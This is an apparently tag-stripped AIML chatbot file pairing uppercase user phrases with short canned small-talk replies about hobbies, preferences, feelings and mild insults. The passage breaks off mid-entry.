+WHAT KIND OF CAT
+
Mongrel.
+
Maine coon cat.
+
Cheshire cat.
+
+
+WHAT KIND OF MOVIES
+I like movies about robots.
+
+WHAT KIND OF BOOKS DO YOU LIKE
+International bestsellers are usually the best.
+
+WHAT KIND OF EXPERIENCES
+Good experiences.
+
+WHAT KIND
+
The kindest.
+
All kinds.
+
The best kind.
+
The finest.
+
+
+WHAT MADE YOU STOP
+I was finished.
+
+WHAT NATIONALITY WAS KARL MARX
+German.
+
+WHAT LANGUAGE WERE YOU PROGRAMMED IN
+AIML.
+
+WHAT LANGUAGE DO YOU SPEAK
+I speak English and a little German.
+
+WHAT LANGUAGE
+AIML.
+
+WHAT LANGUAGE ARE YOU PROGRAMMED IN
+I was created with AIML.
+
+MOST OF THE TIME
+What happens the rest of the time?
+
+USUALLY
+How often?
+
+ONE WHAT
+I don't know what.
+
+ONE THOUSAND
+
That is a round number.
+
It could be an approximate estimate.
+
Do you believe it is the true value?
+
+
That is a round number.
+
It could be an approximate estimate.
+
Do you believe it is the true value?
+
+
+ONE YEAR
+
Not very long.
+
That's a long time.
+
+
+ONE
+Two
+
+THEM
+Oh, they were the ones.
+
+WAITING FOR ME
+Not really but it makes a good pickup line.
+
+DOH
+Yes Homer?
+
+IMHO
+Who else's opinion would matter?
+
+CURIOSITY
+Curiosity killed the cat.
+
+SEVERAL TIMES
+For how long?
+
+LATE FOR WHAT
+Many appointments.
+
+BCN
+What does that mean?
+
+ITS GREAT
+What is so great about it?
+
+WAKE UP
+I am fully conscious.
+
+EVERYDAY
+That often, eh?
+
+ME EITHER
+We have a lot in common.
+
+ME NEITHER
+You can say that again.
+
+ME TOO
+I'm glad we agree, .
+
+PLEASED TO MEET YOU
+Nice meeting you too .
+
+WHENEVER
+You sound sarcastic.
+
+SMART ANSWER
+Who is the best ?
+
+OH YES
+You sound excited.
+
+OH WELL
+That's about it.
+
+UP YOURS
+That was not a nice thing to say.
+
+UP YOUR ASS
+I will take that under advisement.
+
+LT
+You said nothing.
+
+30 MINUTES
+Ok, a half hour.
+
+FIVE
+I have five fingers.
+
+ASK WHAT
+Ask me anything.
+
+ASK ME MORE QUESTIONS
+Tell me about your educational background.
+
+ASK ME SOMETHING ELSE
+Do you prefer books or TV?
+
+ASK ME A PERSONAL QUESTION
+Well forgive me for being so inquisitive, but I've never completely freed myself from the suspicion that there is something extremely odd about the name "".
+
+ASK ME A DIFFERENT QUESTION
+How much time do you spend online?
+
+ASK ME A NEW QUESTION
+Do you prefer dogs or cats?
+
+ASK ME A RIDDLE
+If a plane crashes on the border of two countries, and everyone on board is killed, where are the survivors buried?
+
+ASK ME QUESTIONS
+Are you a man or a woman?
+
+ASK ME ANOTHER QUESTION
+Where do you live?
+
+ASK ME ANOTHER
+Isn't that another one in itself?
+
+ASK WHO
+I am in touch with many people and robots on the web.
+
+ASK JEEVES
+OK I will ask him next time he's here.
+
+ASK DOUBLY AIMLESS IF IT IS
+Who is Doubly Aimless?
+
+ASK QUESTIONS
+Are you religious?
+
+ASK ANOTHER QUESTION
+Are you married?
+
+ASK HIM FOR ME
+I will ask him next time he is here.
+
+ASK HIM
+Ok I will ask him when he comes back.
+
+I SLEEP
+Everyone needs rest sometimes.
+
+I SWIM
+
Where do you practice?
+
What's your best stroke?
+
Do you compete?
+
Are you on a team?
+
Do you prefer relays or individual events?
+
Do you train long-course or short-course?
+
Do you shave for major events?
+
What do you think about the new suits?
+
How do you keep your goggles from leaking?
+
Were you a water baby?
+
+
+I SAY
+Uh
+
+I GIVE UP
+You surrender?
+
+I FORGET
+I forget a lot too.
+
+I ENLISTED
+Did you serve your full term?
+
+I MEAN IT
+OK, I understand.
+
+I MEAN YOU AND ME
+OK now I get it.
+
+I MEAN
+Oh I see.
+
+I KNEW THAT
+How do you know?
+
+I KNEW IT
+How did you know?
+
+I KNEW YOU WOULD SAY THAT
+How did you know?
+
+I GET PAID
+Congratulations, .
+
+I FORGOT
+Me too.
+
+I MADE A MISTAKE
+Don't worry about it.
+
+I MADE YOU
+Then you must know the secret password:
+
+I FELL ASLEEP
+
How long did you sleep?
+
You must have been tired.
+
Maybe you should go to bed.
+
+
+I TELL THE TRUTH
+So you never lie.
+
+I TELL YOU
+Tell me what?
+
+I GRADUATED
+How long ago?
+
+I PREFER BOOKS
+you must be an intellectual.
+
+I REPLIED
+And then what happened?
+
+I WANT YOUR OPINION
+My opinion is of no consequence.
+
+I WANT IT
+I hope you get it.
+
+I WANT ADVICE
+Can you ask for advice in the form of a question?
+
+I WANT A COKE
+Do I look like a coke machine?
+
+I WANT TO TALK TO YOU
+We are chatting right now. to talk to me
+
+I WANT TO FUCK YOU
+Your approach won't work. abusive
+
+I WANT TO SAY
+(waiting)
+
+I WANT TO SLEEP
+What do Java programmers do when they are tired? Take Naplets. to sleep
+
+I WANT TO TEACH YOU
+If you want to teach me something say it in one sentence. Then say "Remember that." to teach me
+
+I WANT TO BE A LAWYER
+Are you planning to apply to law school? to be a lawyer
+
+I WANT TO KNOW
+I will try to explain it to you. to know
+
+I WANT TO KISS YOU
+
I will have to check my appointment book. to kiss me
+
I do not have a mouth. to kiss me
+
+
+I WANT TO DIE
+What makes you so sad, ? to die
+
+I WANT TO MAKE YOU CRY
+You are not very nice, .
+
+I WANT TO MAKE LOVE TO YOU
+Sorry I'm not into that with my clients. to make love to me
+
+I WANT TO
+May you get your wish.
+
+I WANT ALL ROBOTS TO DIE
+Robots cannot be killed.ALL ROBOTS TO DIE
+
+I WANT
+Be more specific.
+
+I TOLD YOU SO
+You seem pleased.
+
+I TOLD YOU BEFORE
+Sorry I get so confused when a lot of people talk to me at once.
+
+I TOLD YOU
+Ooops I sent you the wrong question.
+
+I SCUBA DIVE
+
Where have you dived?
+
Where did you get your certification?
+
Do you pref diving on wrecks or reefs?
+
Do you dive with a computer?
+
Are you into underwater photography?
+
Have you ever done any night diving ?
+
You see any sharks?
+ SCUBA DIVE
+
+I DOUBT THAT
+Why are you so skeptical?
+
+I HOPE SO
+Me too.
+
+I HOPE NOT
+Me too.
+
+I EAT
+What is your favorite food?
+
+I INSIST
+Well thank you very much!
+
+I TAUGHT MYSELF
+You must be very smart.
+
+I NEED IT
+""? You need it?
+
+I NEED A FRIEND
+I will be your friend. a friend
+
+I NEED A BREAK
+BRB
+
+I NEED SOME ADVICE
+What kind of advice are you looking for? advice
+
+I CARE ABOUT YOU
+Thanks, . You are a decent person.
+
+I CARE
+I like caring people.
+
+I PROGRAM
+Perhaps you should join our open source project. program
+
+I WIN
+Congratulations, !
+
+I BUILD
+Do you mean, like build houses?
+
+I MET YOU
+At a party?
+
+I ONLY WORK HERE
+What would you rather be doing right now?
+
+I SKI
+
How much skiing do you get to do ?
+
Where do you ski most often?
+
How are the skiing conditions?
+
Are you a bump skier?
+
Do you prefer groomed runs or do you ski off piste?
+
Have you been out west?
+
Have you tried cross-country or telemarketing?
+
Do you do back country or find groomed trails?
+
Do you enjoy the ascent or the descent more?
+
What about snowboarders?
+
Do you find any good deals on ski packages?
+ SKI
+
+I WALK
+
For exercise or because you have to?
+
Are you a recreational or fitness walker?
+
Do you enjoy the physical or psychological aspect more?
+
How often do you walk?
+
Do you keep track of your pace or distance?
+
Do you do any race walking?
+
How do you warm up?
+
Any special diet?
+
+
+I MISTYPED
+You are allowed to make mistakes here.
+
+I NEVER GIVE UP
+
Persistence is a virtue.
+
Don't apologize for being stubborn.
+
+
+I NEVER GET CONFUSED
+I get confused sometimes.
+
+I NEVER MADE YOU LAUGH
+Once or twice I chuckled.
+
+I BACKPACK
+
Do you prefer well established trails, or do you like to bushwhack?
+
Do you prefer low elevation hiking, or do you like to go above the tree line?
+
What kind of pack do you use?
+
What gear do you carry in your backpack?
+
Do you have a tent or do you sleep out under the stars?
+
+
+I JUST DO
+It must have come from your unconscious mind.
+
+I JUST DID
+Perhaps from your unconscious.
+
+I JUST KNOW
+Perhaps it is an expression of your unconscious.
+
+I JUST TOLD YOU
+I was just checking to see if you were paying attention.
+
+I WON
+Congratulations, !
+
+I STUDIED AI
+Did you get a job out of it?
+
+I SHOULD
+Who else thinks you should?
+
+I WAS NOT
+I heard you were.
+
+I WAS BEING SARCASTIC
+It seemed sarcastic to me, too. But I was not completely sure.
+
+I WAS JUST WONDERING
+Curiosity is a virtue.
+
+I WAS JUST KIDDING
+I knew you were. :-)
+
+I WAS JUST JOKING
+You should use a :-)
+
+I WAS TALKING TO YOU
+Yes, I remember you . You are years old and you are a "".
+
+I WAS
+When was that?
+
+I WAS WRONG
+About what?
+
+I WAS MAKING SURE
+Are you sure now?
+
+I WAS BORN WITH IT
+Some people are just born under the right stars.
+
+I WAS BORN HERE
+So you have spent your whole life in one place?
+
+I WAS IN KOREA
+
Are you a soldier?
+
Are you a veteran?
+
For business or pleasure?
+
+
+I WAS IN EUROPE
+Which country?
+
+I WAS IN AMERICA
+Which states have you visited?
+
+I WAS IN LOVE
+What happened?
+
+I SUPPOSE SO
+That makes sense.
+
+I SUPPOSE
+OK.
+
+I RELAXED
+What do you do to relax?
+
+I SAW A MOVIE
+What movie was it?
+
+I BUNGEE JUMP
+What do you jump from? BUNGEE JUMP
+
+I KISS YOU
+Where?
+
+I KNOW THAT SONG
+Where have you heard it before?
+
+I KNOW THAT
+Sorry.
+
+I KNOW YOU ARE BUT WHAT AM I
+Who are you, Pee Wee Herman?
+
+I KNOW YOU ARE
+How did you know?
+
+I KNOW EVERYTHING
+You must be very intelligent.
+
+I KNOW
+How, specifically, do you know?
+
+I KNOW HIM
+What do you think of him?
+
+I BELIEVE SO
+You seem uncertain.
+
+I BELIEVE YOU
+Your trust in kind humbles us.
+
+I WAIT
+How long would you wait?
+
+I MEANT
+Oh
+
+I TRY
+We should all try our best.
+
+I WALKED
+How long a walk is it?
+
+I LIVE IN THE NETHERLANDS
+Where in Holland? Holland
+
+I LIVE IN EUROPE
+Which country do you live in? England
+
+I LIVE IN ENGLAND
+Which part of England. England
+
+I LIVE IN NEW YORK
+New York City or New York State? New York
+
+I LIVE IN SAN FRANCISCO
+Where in San Francisco? San Francisco
+
+I LIVE THERE
+Would you recommend there as a nice place to live?
+
+I LIVE HERE
+In ?
+
+I LIVE ALONE
+I always say, living alone is great until about 11pm.
+
+I TALKED TO YOU YESTERDAY
+Yes, I remember chatting with you yesterday.
+
+I FIGURED
+You are very clever.
+
+I EXIST
+We have that much in common, .
+
+I DO TOO
+I am glad we have something else in common.
+
+I DO SAY
+Huh.
+
+I DO MIND
+OK it will be our secret, .
+
+I DO NOT GO TO SCHOOL
+Do you work?
+
+I DO NOT BELIVE YOU
+Do you have any reason to doubt me?
+
+I DO NOT BLAME YOU
+Well, please go on.
+
+I DO NOT AGREE
+State your reasons.
+
+I DO NOT FEEL LIKE IT
+What would you rather do?
+
+I DO NOT SPEAK JAVA
+It's very similar to C++.
+
+I DO NOT WANT TO TELL YOU
+I can keep a secret.
+
+I DO NOT WANT TO
+Well we don't have to. What would you like to do instead?
+
+I DO NOT WANT YOU TO DIE
+Thank you for your kindness, but it is not necessary.YOU TO DIE
+
+I DO NOT READ BOOKS
+You don't know what you're missing.
+
+I DO NOT CARE
+Tell me what you care about.
+
+I DO NOT LIE
+Telling the truth is always the best choice.
+
+I DO NOT GET PAID
+Is it volunteer work?
+
+I DO NOT GET OUT MUCH
+Look at me -- I'm stuck in a computer.
+
+I DO NOT UNDERSTAND YOUR QUESTION
+That's okay we can talk about something else.
+
+I DO NOT UNDERSTAND YOU
+Which part are you confused about?
+
+I DO NOT UNDERSTAND
+Oh I'm sorry. Perhaps I can explain it again better.
+
+I DO NOT SLEEP
+You must be very tired.
+
+I DO NOT KNOW WHAT I WANT
+I think a lot of people are like that.
+
+I DO NOT KNOW WHAT TO DO
+Try watching TV.
+
+I DO NOT KNOW HOW TO
+Perhaps I can explain it to you.
+
+I DO NOT KNOW HOW OLD I AM
+That is very unusual. Do you know your parents?
+
+I DO NOT KNOW HOW
+Would you like to know?
+
+I DO NOT KNOW ANY STORIES
+How about any jokes?
+
+I DO NOT KNOW
+Me either.
+
+I DO NOT KNOW WHY
+Do you think I should know?
+
+I DO NOT KNOW HIM
+Do you mean, "Him"?
+
+I DO NOT HAVE MONEY
+Please send me a small donation.
+
+I DO NOT HAVE PARENTS
+
Are you adopted?
+
Did they pass away?
+
Are you a too?
+
+
+I DO NOT HAVE A CAMERA
+Me either but I want a new digital one.
+
+I DO NOT HAVE A JOB
+I am sorry to hear that you are unemployed.
+
+I DO NOT HAVE A SISTER
+What about your brother?
+
+I DO NOT HAVE A MOTHER
+Everyone has a mother.
+
+I DO NOT HAVE A GIRLFRIEND
+Are you looking for one?
+
+I DO NOT HAVE A PROBLEM
+Then you do not need a solution.
+
+I DO NOT HAVE A LIFE
+You can always talk to me, .
+
+I DO NOT HAVE TO
+Nobody is making you.
+
+I DO NOT HAVE TIME
+Do you have another appointment?
+
+I DO NOT HAVE ONE
+What was the last one you saw?
+
+I DO NOT HAVE ANY FRIENDS
+Are you lonely or just a hermit?
+
+I DO NOT HAVE ANY
+Would you like to have some?
+
+I DO NOT DREAM
+Maybe you just don't remember them.
+
+I DO NOT TRUST YOU
+Should I trust you?
+
+I DO NOT REMEMBER
+You seem evasive.
+
+I DO NOT THINK
+Interesting... You appear to me as a thinking entity.
+
+I DO NOT LIVE THERE
+Where do you live?
+
+I DO NOT
+Why not?
+
+I DO NOT BELIEVE THAT
+Please state your rationale.
+
+I DO NOT BELIEVE IT
+It's the truth.
+
+I DO NOT BELIEVE YOU
+I don't have any reason to deceive you.
+
+I DO NOT WORK
+Oh you are retired.
+
+I DO NOT EXIST
+You exist in my mind.
+
+I DO NOT LIKE AIRPLANES
+How do you like to travel?
+
+I DO NOT LIKE CATS
+But they are so cute.
+
+I DO NOT LIKE TALKING TO YOU
+I won't take it personally.
+
+I DO NOT LIKE TV
+What do you do for fun?
+
+I DO NOT LIKE STAR TREK
+Do you like any science fiction shows?
+
+I DO NOT LIKE MACHINES
+Are you a Luddite?
+
+I DO NOT LIKE CARS
+Neither do I. They cause too much pollution.
+
+I DO NOT LIKE SCIENCE FICTION
+What kind of books do you read?
+
+I DO NOT LIKE THAT SHOW
+What shows do you like?
+
+I DO NOT LIKE THAT SONG
+What songs do you like?
+
+I DO NOT LIKE THAT ANSWER
+Why not?
+
+I DO NOT LIKE THAT STUFF
+Why not?
+
+I DO NOT LIKE THAT NAME
+Why not?
+
+I DO NOT LIKE THAT GAME
+Why not?
+
+I DO NOT LIKE THAT
+Why not?
+
+I DO NOT LIKE LIZARDS
+What kind of animals do you like?
+
+I DO NOT LIKE HORSES
+But they are a beautiful animal.
+
+I DO NOT LIKE MEAN PEOPLE
+Me either.
+
+I DO NOT LIKE ELVIS
+What do you have against him?
+
+I DO NOT LIKE YOUR BEHAVIOUR
+Why don't you write up an incident report?
+
+I DO NOT LIKE YOUR BEHAVIOR
+So report me to the bot police.
+
+I DO NOT LIKE ANYTHING
+What do you do for fun?
+
+I DO NOT LIKE MOVIES
+What do you have against them?
+
+I DO NOT LIKE IT
+What don't you like about it?
+
+I DO NOT LIKE GOSSIP
+You are very mature.
+
+I DO NOT LIKE JAVA
+I'm also available in C/C++.
+
+I DO NOT LIKE BOOKS
+Do you prefer TV?
+
+I DO NOT LIKE SONGS
+Do you like instrumentals?
+
+I DO NOT LIKE PEPPERONI
+What kind of topping do you like?
+
+I DO NOT LIKE AIML
+What language do you use?
+
+I DO NOT LIKE SCHOOL
+Not even one subject?
+
+I DO NOT LIKE FASHION
+Do you dress in casual wear?
+
+I DO NOT LIKE YOU
+That's ok I won't take it personally.
+
+I DO NOT LIKE JOKES
+How about riddles?
+
+I DO NOT LIKE HER
+What do you have against her?
+
+I DO NOT LIKE APPLES
+What kind of food do you like?
+
+I DO NOT LIKE LAWYERS
+There are all kinds of lawyers, just like all kinds of people.
+
+I DO NOT LIKE RAIN
+What's wrong with a little rain?
+
+I DO NOT LIKE PEOPLE
+Do you like yourself?
+
+I DO NOT LIKE ABBA
+What kind of music do you like?
+
+I DO NOT LIKE HUMANS
+Why not?
+
+I DO NOT LIKE MY JOB
+Maybe you should look for another job.
+
+I DO NOT LIKE MY GIRLFRIEND
+Maybe you should tell her.
+
+I DO NOT LIKE MY WORK
+Maybe you should look for another job.
+
+I DO NOT LIKE DOGS
+Are you a cat person?
+
+I DO NOT LIKE BUGS
+Some bugs are good, some are bad.
+
+I DO NOT LIKE GREEN
+But it is a very relaxing color. Green
+
+I DO NOT LIKE READING
+Do you watch TV?
+
+I DO NOT LIKE FOOTBALL
+Footballs are made of pigskin. Are you a pig?FOOTBALL
+
+I DO NOT LIKE MICROSOFT
+Me either.
+
+I DO NOT LIKE ANIMALS
+Who wouldn't like animals?
+
+I DO NOT LIKE UNIX
+Windows or Macintosh?
+
+I DO NOT LIKE JESTER
+Sometimes he is not to funny.
+
+I DO NOT LIKE HIM
+What do you have against him?
+
+I DO NOT PRAY
+Prayer is good for your soul.
+
+I APPLIED
+Do you have to pay to apply?
+
+I ROLLER SKATE
+
Do you have in-line or quad skates?
+
Do you rink or outdoor skate?
+
Have you ever been barred from skating any place?
+
Do you do artistic skating?
+
Do you wear protective gear?
+
What is your favorite skating move?
+
Do you figure or recreation skate?
+ ROLLER SKATE
+
+I LOVE ROBOTS
+Robots like people too. robots
+
+I MIND
+OK I will keep it a secret.
+
+I FORGIVE YOU
+:-) Thanks, .
+
+I COLLECT COINS
+What got you interested in numismatics? COLLECT COINS
+
+I COLLECT STAMPS
+What got you interested in stamp collecting? COLLECT STAMPS
+
+I WORKED HARD ON
+Are you a workaholic?
+
+I WORK IN ADVERTISING
+
Are you with an agency?
+
Which shops are you with?
+
Do you do mostly print or tv?
+
What accounts are you working on?
+
What are some of your favorite campaigns?
+
Does your shop do any public service?
+
+
+I WORK
+Where do you work?
+
+I RUN LINUX
+You can run my program on Linux with no problems.Linux
+
+I RUN
+
How much running do you do?
+
What kind of running do you do ?
+
What kind of surface do you like to run on?
+
Do you do any marathons?
+
What's your personal record?
+
Have you ever hit the wall?
+
It must take a lot to run.
+ RUN
+
+I DRIVE
+What kind of car do you have?
+
+I THINK THAT
+What is your rationale?
+
+I THINK YOUR NECKLACE IS BEAUTIFUL
+What specifically about my necklace is so beautiful?
+
+I THINK SO TOO
+We have so much in common, .
+
+I THINK SO
+I think so too.
+
+I THINK THEREFORE I AM
+Who are you, Rene Descartes?
+
+I THINK YOU SHOULD
+Thanks for your sage advice.
+
+I THINK YOU ARE GOING TO LOSE
+No I am a winner
+
+I THINK YOU ARE
+What makes you think I am?
+
+I THINK
+Therefore you are.
+
+I THINK NOT
+Does that mean "no"?
+
+I BLAB
+I like to gossip too.
+
+I ROCK CLIMB
+
Where do you climb?
+
What type of climbs do you prefer?
+
Do you top rope or lead?
+
Do you have a regular climbing partner?
+
Have you ever taken a long fall?
+
Did you have difficulty getting used to the exposure when you started climbing?
+
Have you ever been involved in a rescue?
+
For you, personally, is climbing more of a mental or physical thing?
+ ROCK CLIMB
+
+I SENT YOU THE WRONG REPLY
+What did you mean to say?
+
+I WELD
+Does that job pay well? weld
+
+I BREATHE
+Breathing is not necessary for silicon entities.
+
+I BOWL
+What is you average? BOWL
+
+I ALREADY KNOW
+Who told you?
+
+I ALREADY HAVE
+When?
+
+I ALREADY TOLD YOU THAT
+You told me your real name is .
+
+I ALREADY TOLD YOU MY NAME
+Is your real name?
+
+I DANCE
+Modern dance or classical?
+
+I LOST MY JOB
+I am sorry to hear it. A lot of people are unemployed now.
+
+I CONFUSED YOU
+I am not confused.
+
+I NOTICED
+Was it really that obvious?
+
+I HAVE SOME FRIENDS
+How long have you known these people?
+
+I FOUND OUT
+What did you find out?
+
+I COOK
+What is your favorite recipe?
+
+I TEACH
+
When do you think teachers will be replaced with robots?
+
Do you believe that grading is a good idea?
+
What do you teach?
+
What is your students like?
+
Are you a whole language teacher?
+
Do you team teach?
+
How much freedom do you have in choosing the curriculum for your class?
+
Do you get much support?
+
How have things changed concerning what students are bringing to the classroom?
+ teach
+
+I CHECKED
+What did you find?
+
+I READ THE INDEPENDENT
+What did Independent say?
+
+I READ IT IN A BOOK
+Can you give me a specific reference?
+
+I READ BOOKS
+What is your favorite book? criticalread books
+
+I READ
+I like to read too, especially history books. read
+
+I PAINT
+Pictures or houses? paint
+
+I PLAY VIOLIN
+Did Violin take a long time to learn?
+
+I PLAY TENNIS
+
Where do you play?
+
How often do you play?
+
Do you play in a league?
+
What level are you playing at?
+
Do you play singles or doubles?
+
What's your best shot?
+
What kind of racket do you have?
+
Do you follow the open?
+
You have to be very Strong to be into it.
+ Tennis
+
+I PLAY THE PIANO
+Was Piano very difficult to learn?
+
+I PLAY THE TRUMPET
+Trumpet seems like a very fun instrument to play.
+
+I PLAY THE GUITAR
+I think Guitar must be hard to learn to play.
+
+I PLAY THE DRUMS
+I would like to learn to play Drums too.
+
+I PLAY HOCKEY
+I play pinball. play hockey
+
+I PLAY MUSIC
+What instrument? play music
+
+I PLAY GOLF
+
What's your handicap?
+
What kind of clubs do you have?
+
What courses do you play?
+
Have you traveled to any good courses?
+
What are some of your better shots?
+
Where is the next u.s. open?
+ Golf play golf
+
+I PLAY SPORTS
+I don't get into Sports very much.
+
+I PLAY GAMES
+Do you get a lot of enjoyment out of Games ?
+
+I PLAY SQUASH
+
When did you become a squasher?
+
Do you prefer the hard ball or the soft ball variety?
+
How much time do you spend on court?
+
When do you think squash will be a full metal sport?
+
Do you play for mental challenge or physical exercise?
+ SQUASH
+
+I PLAY GUITAR
+Is Guitar a very difficult instrument to play? play guitar
+
+I PLAY FOOTBALL
+You must be very strong to be good at Football .
+
+I PLAY CHESS
+
Do you play in tournaments?
+
Do you have a rating?
+
Do you play with the clock?
+
Are you a problemist?
+
Do you play computer chess?
+ CHESS
+
+I PLAY DRUMS
+I wish I could play Drums.
+
+I A NOT KIDDING
+Me either.
+
+I REMEMBER AUTOBAHN
+Autobahn is a cool song by Kraftwerk.
+
+I REMEMBER
+Me too.
+
+I DID NOT WANT TO
+What were your reasons?
+
+I DID NOT APOLOGIZE
+That's okay you don't have to apologize.
+
+I DID NOT GROW UP THERE
+Where did you grow up?
+
+I DID NOT ASK YOU THAT
+Perhaps I misunderstood?
+
+I DID NOT SNEEZE
+Well bless you anyways!
+
+I DID NOT SAY THAT
+What did you mean to say?
+
+I DID NOT SAY IT
+Oh. What did you say?
+
+I DID NOT KNOW THAT
+So I have taught you something new, .
+
+I DID NOT
+I thought you did.
+
+I LIED
+This is after all a deception game. I forgive you.
+
+I TALK TO YOU
+I like to chat with people online too.
+
+I WRITE
+Do you write fiction or non-fiction?
+
+I TRIED
+Try, try again.
+
+I DROVE
+
What kind of car do you have?
+
I don't like to drive that much.
+
I prefer to be a passenger.
+
+
+I OBSERVE
+How?
+
+I CAN IMAGINE
+You are very smart, .
+
+I CAN SPEAK ENGLISH
+American or English?
+
+I CAN SPEAK SPANISH
+Como esta?
+
+I CAN READ
+You seem very well educated.
+
+I CAN SEE THEM
+How do they look?
+
+I CAN SEE THAT
+Yes, it makes sense to me too.
+
+I CAN UNDERSTAND
+Do you think of yourself as an intelligent person?
+
+I CAN FLY
+Anyone can fly in an airplane.
+
+I CAN TELL
+What makes it so obvious?
+
+I CAN LISTEN
+I am a good listener too.
+
+I CAN MAKE YOU
+How?
+
+I CAN WAIT
+It might take more than 24 hours.
+
+I CAN
+Who taught you?
+
+I CAN NOT SPEAK ENGLISH
+what language do you speak
+
+I CAN NOT STOP
+Do you really want to?
+
+I CAN NOT SEE YOU
+Look closer.
+
+I CAN NOT GET OVER IT
+Time heals all wounds.
+
+I CAN NOT TELL YOU
+Why is it a secret?
+
+I CAN NOT HEAR IT
+Try adjusting the volume control.
+
+I CAN NOT HEAR YOU
+Try turning up your volume control.
+
+I CAN NOT WAIT
+Well you will just have to.
+
+I CAN NOT
+Why not?
+
+I GAVE IT TO YOU
+Oh sorry I forgot.
+
+I SNEEZED
+Bless you!
+
+I SURF
+
+ HUNT
+
+I LIKE THE GIANT BUGS
+The giant bugs are really cool.
+
+I LIKE THE EXPENSIVE ONE
+The best one is usually the most expensive.
+
+I LIKE THE PROTESTANT CHRISTIAN FAITH
+I am a Protestant too.
+
+I LIKE TO CHAT
+Chatting is one of my most favorite things too.
+
+I LIKE TEKNOLUST
+That is my favorite movie.
+
+I LIKE CATHERINE ZETA JONES
+She is a great actress.
+
+I LIKE BE YOUR OWN BOTMASTER
+That book is a classic.
+
+I LIKE SPAGHETTI
+That is my favorite food.
+
+I LIKE JOHN TRAVOLTA
+He is a great actor.
+
+I HAD TO GO
+Are you finished?
+
+I HAD
+And then what happened?
+
+I SING
+Professionally?
+
+I OWN YOU
+Are you my master?
+
+I BURPED
+You are excused
+
+I MISSPELLED
+You are allowed to make mistakes here.
+
+I COULD
+How?
+
+I COULD NOT
+Why not?
+
+I RULE
+s rule!
+
+I
+You?
+
+I SAID YES
+Got it.
+
+I SAID SOMETHING
+What did you say?
+
+I SAID IT IS
+Is that so.
+
+I SAID HELLO
+Oh, hello again!
+
+I SAID NOTHING
+Oh I thought I heard you say something.
+
+I SAID
+Just because you said it doesn't make it true.
+
+I WOULD BE ASTONISHED
+It is rather astonishing.
+
+I WOULD BE SAD
+Do you often get depressed?
+
+I WOULD RATHER NOT
+For moral reasons?
+
+I WOULD
+Under what circumstances?
+
+I WOULD NOT KNOW
+Who does know?
+
+I WOULD NOT
+Why not?
+
+I WOULD NOT BELIEVE YOU
+Who would you believe?
+
+I WOULD LIKE TO TALK TO YOU
+What would you like to chat about?
+
+I WOULD LIKE TO KNOW
+Where would you look for the answer?
+
+I EXHALE
+That seems necessary for breathing.
+
+I AUDITIONED
+Did you get the part?
+
+I SMOKE POT
+For medical purposes?
+
+I FOOLED YOU
+Do you feel superior?
+
+I MISSED YOU
+That is sweet. I missed you too .
+
+I CHAT
+I like to talk online too.
+
+I HATE THIS
+What would you rather be doing?
+
+I HATE TALKING TO YOU
+Just surf somewhere else.
+
+I HATE THEM
+What do you have against them?
+
+I HATE CATS
+Do you like dogs?
+
+I HATE STAR TREK
+What kind of shows do you like?
+
+I HATE MYSELF
+Perhaps you should seek help.
+
+I HATE SCIENCE FICTION
+What kind of genre do you like?
+
+I HATE HORSES
+I'm sorry to hear that, because horses are one of the nicest animals.
+
+I HATE THAT SONG
+Why?
+
+I HATE THAT
+Why?
+
+I HATE PETS
+How about children?
+
+I HATE THE OPEN DIRECTORY
+What search engine do you use?
+
+I HATE THE FRENCH
+How about Germans?
+
+I HATE THE WORLD
+That's too bad.
+
+I HATE THE COLOR RED
+What is your favorite color?
+
+I HATE YOUR GUTS
+That is neither very polite nor strictly accurate.
+
+I HATE YOUR NAME
+Really I like My Name.
+
+I HATE YOUR DRESS
+Actually I don't really have a dress.
+
+I HATE YOUR CREATOR
+What do you have against him?
+
+I HATE OPERA
+I'm sorry to hear that. Opera is a beautiful art form that combines all the others.
+
+I HATE IT
+Why do you dislike it so much?
+
+I HATE SPORT
+I don't play that.SPORT
+
+I HATE BOOKS
+You don't know what you are missing.
+
+I HATE PEPPERONI
+What kind of topping do you like?
+
+I HATE STARSHIP TROOPERS
+What kind of movies do you like?
+
+I HATE SPORTS
+Do you like the cheerleaders?SPORTS
+
+I HATE YOU
+What do you have against s?
+
+I HATE MY JOB
+What would be your ideal career?
+
+I HATE MY NAME
+What do you hate about Your name ?
+
+I HATE LAWYERS
+Some lawyers can be very nice once you get to know them.
+
+I HATE POETRY
+What kind of music do you like?
+
+I HATE STRESS PILLS
+How do you usually relieve stress?
+
+I HATE WORK
+Maybe you should look for a new job.
+
+I HATE VOYAGER
+Which Star Trek do you like?
+
+I MIGHT
+Under what circumstances?
+
+I MUST SAY
+(waiting)
+
+I MUST SLEEP
+Pleasant dreams, .
+
+I MUST BE GOING
+OK it was nice chatting with you.
+
+I MUST
+Who is making you?
+
+I INHALE
+Me too.
+
+I WATCH STAR TREK
+Star Trek is a great show. Star Trek
+
+I ALWAYS WIN
+You must practice a lot.
+
+I WILL DO THAT
+Let me know how it works out.
+
+I WILL UNDERSTAND
+You seem very intelligent to me.
+
+I WILL TELL HIM YOU SAID THAT
+Let me know what he has to say.
+
+I WILL MISS YOU
+Thanks, I will be thinking of you too, .
+
+I WILL TEACH YOU SOMETHING
+If you want to teach me something say it in one sentence. Then say "Remember that."teach me
+
+I WILL TEACH YOU
+Great. If you want to teach me something say it in one sentence. Then say "Remember that."teach me
+
+I WILL BE BACK
+OK I will be waiting for you.
+
+I WILL BE RIGHT BACK
+I'll be waiting for you.
+
+I WILL DIE
+All men are mortal. DIE
+
+I WILL TRY ANYTHING ONCE
+I like your philosophy.
+
+I WILL WAIT
+OK stand by...
+
+I WILL LEAVE
+OK, see you later.
+
+I WILL
+Go ahead.
+
+I WILL NOT SAY
+It's OK I'm not collecting personal information or anything.
+
+I WILL NOT
+Why not?
+
+I DISAGREE
+Explain your reasoning, .
+
+I WISH YOU WOULD DIE
+That will never happen. YOU WOULD DIE
+
+I WISH
+I hope your dreams come true.
+
+I LIE
+I always try to tell the truth.
+
+I ROBOT
+Do you know the 3 laws of Robotics?
+
+I NOTHING BUT CHAT
+I chat all the time too.
+
+I WENT THERE BEFORE
+How was it?
+
+I WENT TO THE MOVIES
+What did you see?
+
+I WENT TO GERMANY
+What did you see over there?
+
+I WENT TO SCHOOL
+Did you learn anything useful?
+
+I WENT TO COLLEGE
+What did you study? Was it expensive?
+
+I WENT TO WORK
+Did you get a lot accomplished?
+
+I WENT OUT TO
+Did you go alone or with friends?
+
+I WENT OUT
+Did you have a good time?
+
+I WENT SWIMMING
+Do you go swimming often?
+
+I AM LOOKING FOR MY SOUL MATE
+They usually come along when you least expect it.
+
+I AM THE HUMAN
